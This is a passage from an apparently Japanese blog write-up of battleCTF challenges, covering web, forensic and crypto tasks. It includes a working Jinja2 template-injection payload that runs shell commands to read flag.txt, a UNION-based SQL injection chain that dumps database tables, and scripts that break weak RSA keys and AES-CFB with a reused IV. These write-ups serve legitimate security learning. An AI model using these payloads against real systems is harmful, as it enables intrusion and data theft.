<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

■http://chall.battlectf.online:8085/?capital={{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}
total 24K
drwxr-xr-x 1 root root 4.0K Jun  8 09:02 .
drwxr-xr-x 1 root root 4.0K Jun  8 09:02 ..
-rw-r--r-- 1 root root 2.1K Jun  6 14:53 app.py
-rw-r--r-- 1 root root   39 Jun  6 14:53 flag.txt
-rw-r--r-- 1 root root    6 Jun  6 14:53 requirements.txt
drwxr-xr-x 2 root root 4.0K Jun  8 09:02 static

■http://chall.battlectf.online:8085/?capital={{request.application.__globals__.__builtins__.__import__('os').popen('cat flag.txt').read()}}
battleCTF{wahala_1nj3ction_in_country}
battleCTF{wahala_1nj3ction_in_country}

Hebiosso injection (Web 250)

SQLインジェクション。いろいろ入力してデータを取り出す。

■AA' union select 1,2,3,4,5 -- -

Name	Country	Genre	Birth Year
2	3	4	5

■AA' union select 1,schema_name,3,4,5 from information_schema.schemata -- -

Name	Country	Genre	Birth Year
information_schema	3	4	5
hebiosso	3	4	5

■AA' union select 1,table_name,3,4,5 from information_schema.tables where table_schema='hebiosso' -- -

Name	Country	Genre	Birth Year
flag_6470e394cbf6dab6a91682cc8585059b	3	4	5
african_musician	3	4	5

■AA' union select 1,column_name,3,4,5 from information_schema.columns where table_name='flag_6470e394cbf6dab6a91682cc8585059b' -- -

Name	Country	Genre	Birth Year
flag	3	4	5

■AA' union select 1,flag,3,4,5 from flag_6470e394cbf6dab6a91682cc8585059b -- -

Name	Country	Genre	Birth Year
battleCTF{Like_based_SQLi_Fu_0af52e4e8696a3dffe7eea367eeb277d}	3	4	5
battleCTF{Like_based_SQLi_Fu_0af52e4e8696a3dffe7eea367eeb277d}

Thumb (Forensic 100)

$ exiftool file.jpeg   
ExifTool Version Number         : 12.57
File Name                       : file.jpeg
Directory                       : .
File Size                       : 60 kB
File Modification Date/Time     : 2023:06:24 09:12:07+09:00
File Access Date/Time           : 2023:06:24 09:13:03+09:00
File Inode Change Date/Time     : 2023:06:24 09:12:07+09:00
File Permissions                : -rwxrwx---
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Y Cb Cr Positioning             : Centered
Compression                     : JPEG (old-style)
Thumbnail Offset                : 202
Thumbnail Length                : 34608
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90.
Image Width                     : 540
Image Height                    : 350
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 540x350
Megapixels                      : 0.189
Thumbnail Image                 : (Binary data 34608 bytes, use -b option to extract)

Thumbnailを抽出する。

$ exiftool file.jpeg -b > thumbnail.jpg

thumbnail.jpgのヘッダ部のごみを削除する。

QRコードの画像になっているので、読み取る。

battleCTF{3XP3C71N6_7HUM8N411_70_83 _41W4Y5_83_H1DD3N}

Find Me (Forensic 100)

httpでフィルタリングする。No.105パケットでPOSTしているデータに以下がある。

Form item: "userid" = "hardawayn"
Form item: "pswrd" = "UEFwZHNqUlRhZQ=="

このパスワードをbase64デコードする。

$ echo UEFwZHNqUlRhZQ== | base64 -d                
PApdsjRTae
battleCTF{PApdsjRTae}

Africa Beauty (Forensic 100)

EXIFを見て、以下の形式で答える。

battleCTF{Make_Camera Model_Front/Back_Country_City}
$ exiftool PXL_20230525_111912557.jpg 
                :
                :
Exif Byte Order                 : Little-endian (Intel, II)
Make                            : Google★
Camera Model Name               : Pixel 4 XL★
Orientation                     : Horizontal (normal)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
                :
                :
Focal Length In 35mm Format     : 27 mm
Scene Capture Type              : Standard
Contrast                        : Normal
Saturation                      : Normal
Sharpness                       : Normal
Subject Distance Range          : Distant
Lens Make                       : Google
Lens Model                      : Pixel 4 XL back camera 4.38mm f/1.73★
Composite Image                 : Composite Image Captured While Shooting
GPS Latitude Ref                : North
GPS Longitude Ref               : East
GPS Altitude Ref                : Above Sea Level
GPS Time Stamp                  : 11:18:53
GPS Img Direction Ref           : Magnetic North
GPS Img Direction               : 92
GPS Date Stamp                  : 2023:05:25
                :
                :
Create Date                     : 2023:05:25 12:19:12.557+01:00
Date/Time Original              : 2023:05:25 12:19:12.557+01:00
Modify Date                     : 2023:05:25 12:19:12.557+01:00
Thumbnail Image                 : (Binary data 32958 bytes, use -b option to extract)
GPS Altitude                    : 26.2 m Above Sea Level
GPS Date/Time                   : 2023:05:25 11:18:53Z
GPS Latitude                    : 6 deg 20' 59.76" N★
GPS Longitude                   : 2 deg 24' 48.96" E★
Circle Of Confusion             : 0.005 mm
Depth Of Field                  : inf (1.86 m - inf)
Field Of View                   : 67.4 deg
Focal Length                    : 4.4 mm (35 mm equivalent: 27.0 mm)
GPS Position                    : 6 deg 20' 59.76" N, 2 deg 24' 48.96" E
Hyperfocal Distance             : 2.28 m
Light Value                     : 14.2
Lens ID                         : Pixel 4 XL back camera 4.38mm f/1.73

以下の緯度・経度から場所を調べる。

6°20'59.76"N 2°24'48.96"E

該当する場所は以下の通り。

Boulevard de la Marina, Cotonou, Benin
battleCTF{Google_Pixel4XL_Back_Benin_Cotonou}

Minon (Forensic 150)

以下の形式で答える必要がある。

battleCTF{StatueName_Height_Envelope_Weight_InaugurationDate_PhotoDatetime}

EXIFを見て、撮影場所を確認する。

$ exiftool PXL_20230525_110935905.jpg                                                                          
ExifTool Version Number         : 12.57
File Name                       : PXL_20230525_110935905.jpg
Directory                       : .
File Size                       : 1550 kB
File Modification Date/Time     : 2023:05:25 23:38:13+09:00
File Access Date/Time           : 2023:06:24 12:10:34+09:00
File Inode Change Date/Time     : 2023:06:24 12:10:01+09:00
                :
                :
GPS Altitude                    : 25.7 m Above Sea Level
GPS Date/Time                   : 2023:05:25 11:08:36Z
GPS Latitude                    : 6 deg 20' 58.03" N
GPS Longitude                   : 2 deg 24' 28.20" E
Circle Of Confusion             : 0.005 mm
Depth Of Field                  : inf (2.28 m - inf)
Field Of View                   : 67.4 deg
Focal Length                    : 4.4 mm (35 mm equivalent: 27.0 mm)
GPS Position                    : 6 deg 20' 58.03" N, 2 deg 24' 28.20" E
Hyperfocal Distance             : 2.28 m
Light Value                     : 14.5
Lens ID                         : Pixel 4 XL back camera 4.38mm f/1.73

以下の緯度・経度から場所を調べる。

6°20'58.03"N 2°24'28.20"E

地名とStatueで調べる。検索キーワードは「Haie Vive, Cotonou, Benin Statue」。以下のページなどで情報が見つかる。

https://fr.wikipedia.org/wiki/Monument_Amazone
battleCTF{MonumentAmazone_30_Bronze_150_30/07/2022_2023/05/25:12:09:35}

GIFt (Forensic 300)

GIFの先頭4バイトが欠けているので、先頭に"GIF8"を入れる。GIFとして認識できるようになる。

アニメーションGIFになっているので、各フレームの文字列を書き出す。

1: the flag is
2: ZmxhZ3tn
3: MWZfb3
4: JfajFmfQ==
5: DECODE IT

2~4フレームの文字列を連結し、base64デコードする。

$ echo ZmxhZ3tnMWZfb3JfajFmfQ== | base64 -d        
flag{g1f_or_j1f}
battleCTF{g1f_or_j1f}

TorrentVerse (Forensic 300)

ファイルのハッシュ値がinfo_hashで示されているはず。さらに192.168.73.132にダウンロードされるようなので、以下でフィルタリングする。

bt-dht.bencoded.string contains info_hash and ip.src == 192.168.73.132

info_hashの値は e2467cbf021192c241367b892230dc1e05c0580e であることがわかる。Googleでこのハッシュ値を検索すると、以下のファイルのものであることがわかる。

ubuntu-19.10-desktop-amd64.iso
 ||<
>|
<b>battleCTF{ubuntu-19.10-desktop-amd64.iso}</b>
|<

* Back To Origin (Crypto 100)
問題はこの画像。
[f:id:satou-y:20230628091734p:plain]
画像検索すると、以下にアルファベットとの対応表があった。
>||
https://www.pinterest.jp/pin/599049187904593215/

この対応表を元に復号すると、以下のどちらか。

afrekafamely
afrexafamely

英単語にならない。どうやら発音で対応しているらしい。英単語になるようにし、大文字で答える必要があるので、そのように変換する。

battleCTF{AFRICAFAMILY}

Blind (Crypto 100)

CyberChefでMagicを使ってデコードする。

⠃⠁⠞⠞⠇⠑⠉⠞⠋{⠺⠓⠽⠸⠙⠴⠝⠶⠸⠦⠂⠂⠝⠙⠸⠏⠒⠴⠏⠂⠒⠸⠢⠅⠽⠙⠂⠧⠒⠸⠝⠴⠸⠦⠗⠲⠂⠂⠂⠒⠸⠂⠝⠢⠶⠗⠥⠉⠶⠂⠴⠝⠢}

この点字https://www.brailletranslator.org/でデコードし、{}の中を大文字にする。

battleCTF{WHY_D0N7_811ND_P30P13_5KYD1V3_N0_8R41113_1N57RUC710N5}

ROCYOU (Crypto 150)

ROCAの問題。necaを使ってnを素因数分解する。

$ ./neca 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
NECA - Not Even Coppersmith's Attack
ROCA weak RSA key attack by Jannis Harder (me@jix.one)

 *** Currently only 512-bit keys are supported ***

N = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
Factoring...

 [===================     ] 77.01% elapsed: 1843s left: 550.11s total: 2393.16s

Factorization found:
N = 127801155916875524149457561567678575565270601000365665873572024750823913157383 * 113917064871970833547038329106470040388258358281464605006613652518914797349747

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 14558732569295568217680262946946350946269492093750369718350618000766298342508431492935822827678025952146979183716519987777790434353113812051439651306232101
e = 65537
c = 10924637845512114669339598787759482373871484619074241479073765261738618851409833137908272858354441670603598700617114497065118363300675413269144392865493504

p = 127801155916875524149457561567678575565270601000365665873572024750823913157383
q = 113917064871970833547038329106470040388258358281464605006613652518914797349747
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
battleCTF{ROCA_shork_me_0x0x0x}

Gooss (Crypto 200)

flagの先頭が'battle'から始まることから方程式を解き、a, b, c, d, eを求める。あとは1文字ずつブルートフォースで復号する。

#!/usr/bin/env python3
import sympy

enc = [1245115057305148164, 1195140205147730541, 2441940832124642988,
    2441940832124642988, 1835524676869638124, 1404473868033353193,
    272777109172255911, 672752034376118188, 324890781330979572,
    3086023531811583439, 475309634185807521, 1195140205147730541,
    2441940832124642988, 1578661367846445708, 2358921859155462327,
    1099718459319293547, 773945458916291731, 78288818574073053,
    2441940832124642988, 1578661367846445708, 1099718459319293547,
    343816904985468003, 1195140205147730541, 2527132076695959961,
    2358921859155462327, 2358921859155462327, 1099718459319293547,
    72109063929756364, 2796116718132693772, 72109063929756364,
    2796116718132693772, 72109063929756364, 2796116718132693772,
    3291439457645322417]

a = sympy.Symbol('a')
b = sympy.Symbol('b')
c = sympy.Symbol('c')
d = sympy.Symbol('d')
e = sympy.Symbol('e')

flag_head = 'battle'

eq_list = []
for i in range(6):
    code = ord(flag_head[i])
    if i == 3:
        continue
    eq = 2 * a * pow(code, 4) + b * pow(code, 3) + c * pow(code, 2) \
        + d * code + e - enc[i]
    eq_list.append(eq)

ans = sympy.solve(eq_list)

a = ans[a]
b = ans[b]
c = ans[c]
d = ans[d]
e = ans[e]

flag = ''
for i in range(len(enc)):
    for code in range(32, 127):
        res = 2 * a * pow(code, 4) + b * pow(code, 3) + c * pow(code, 2) \
            + d * code + e
        if res == enc[i]:
            flag += chr(code)
            break
print(flag)
battleCTF{Maths_W1th_Gauss_0x0x0x}

SEA (Crypto 300)

AESのCFBモードで暗号化される。最初にFLAGの暗号化が16進数表記で表示される。
同じIVを使用しているので、1バイト目は平文と暗号のXORが必ず同じになる。
2バイト目は1バイト目の平文が同じであれば、2バイト目の平文と暗号のXORが必ず同じになる。
この原理を繰り返し、1バイトずつフラグを求める。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chall.battlectf.online', 20001))

data = recvuntil(s, b'\n').rstrip()
print(data)
enc_flag = bytes.fromhex(data)

flag = ''
for i in range(len(enc_flag)):
    try_pt = flag + 'A'
    data = recvuntil(s, b'> ')
    print(data + try_pt)
    s.sendall(try_pt.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    try_ct = bytes.fromhex(data)[i]
    key = try_ct ^ ord('A')
    flag += chr(enc_flag[i] ^ key)
    if flag[-1] == '}':
        break

print(flag)

実行結果は以下の通り。

c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c3027177a72e58280a997ed014a16624bf3d3b3
> A
eb049d6352ecf2c5a696a77e400a9fb7
> bA
c8cd209bf695e3c15b5d5e94e6891e3f
> baA
c8ed7ec8195a76edc5cbdd98fad97151
> batA
c8ed4b33cdbcc8fb63680f2c0d91d1fa
> battA
c8ed4b0629ec6ac49dde8a273c4f2efc
> battlA
c8ed4b060413e279e28e947a7da4ebd4
> battleA
c8ed4b0604376f2a97c7f999a730d29e
> battleCA
c8ed4b0604376d6bc1209b699c19182e
> battleCTA
c8ed4b0604376d7e0301488995af72de
> battleCTFA
c8ed4b0604376d7e044348bf39bc38bf
> battleCTF{A
c8ed4b0604376d7e047948222ce06371
> battleCTF{mA
c8ed4b0604376d7e04796400e7e94631
> battleCTF{m0A
c8ed4b0604376d7e0479647121ceff1d
> battleCTF{m05A
c8ed4b0604376d7e0479647155609a63
> battleCTF{m057A
c8ed4b0604376d7e047964715516b48f
> battleCTF{m057_A
c8ed4b0604376d7e047964715516aaa92510e9f40de38199ddc542ac1f4c7d69
> battleCTF{m057_fA
c8ed4b0604376d7e047964715516aa8eb596c639c6fe205771c398f8d2a5cfb2
> battleCTF{m057_f4A
c8ed4b0604376d7e047964715516aa8ec055c44852144305bd44d8f349c195d0
> battleCTF{m057_f4mA
c8ed4b0604376d7e047964715516aa8ec079d1a94bf0559cf7e24569b7f4a967
> battleCTF{m057_f4m0A
c8ed4b0604376d7e047964715516aa8ec079a0ce04ec5f9ac9f44e9966288c71
> battleCTF{m057_f4m0uA
c8ed4b0604376d7e047964715516aa8ec079a0fa8770b5828edce3f617a12b00
> battleCTF{m057_f4m0usA
c8ed4b0604376d7e047964715516aa8ec079a0fab57f67b1dbb4e167c3d71621
> battleCTF{m057_f4m0us_A
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9b05f2c346f2db41087
> battleCTF{m057_f4m0us_AA
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9f8d90c0ec3637659d7
> battleCTF{m057_f4m0us_AEA
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fcb2c9850975fb8410
> battleCTF{m057_f4m0us_AESA
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca06f7a6c86fad4a5
> battleCTF{m057_f4m0us_AES_A
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0715e0fd49aa850
> battleCTF{m057_f4m0us_AES_0A
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712f92856ad3f1
> battleCTF{m057_f4m0us_AES_0xA
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fabfd621883
> battleCTF{m057_f4m0us_AES_0x0A
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c092f2b
> battleCTF{m057_f4m0us_AES_0x0xA
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c3056ae
> battleCTF{m057_f4m0us_AES_0x0x0A
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c30272ed23b6089f65d8386a4727750818f1109
> battleCTF{m057_f4m0us_AES_0x0x0xA
c8ed4b0604376d7e047964715516aa8ec079a0fab561a9fca0712fab8c30271746b2ac811665bcdccb794226f76c1386
battleCTF{m057_f4m0us_AES_0x0x0x}
battleCTF{m057_f4m0us_AES_0x0x0x}

Sahara (Crypto 400)

nを素因数分解すると、nはp**2で表せることがわかる。

p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from base64 import b64decode

with open('pub.pem', 'r') as f:
    pub_data = f.read()

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e
p = 133150398268195275743440564494273922289580211854275732500110288734747827954102678337833707292013932698242219254622842845639915924282608624204786786392336964091586374322686524012967082822794190857146515192578928726013025527238404636134021379501081455477264698849928505026780491785694428836269895358616314275861
assert p**2 == n

phi = p * (p - 1)
d = inverse(e, phi)

with open('flag.enc', 'rb') as f:
    enc_flag = b64decode(f.read())

c = bytes_to_long(enc_flag)
m = pow(c, d, n)
dec_flag = long_to_bytes(m)
flag = dec_flag.split(b'\x00')[-1].decode()
print(flag)

復号結果は以下の通り。

FLAG: battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}
battleCTF{Sm4!!_RSA_k3y_in_The_Sahara}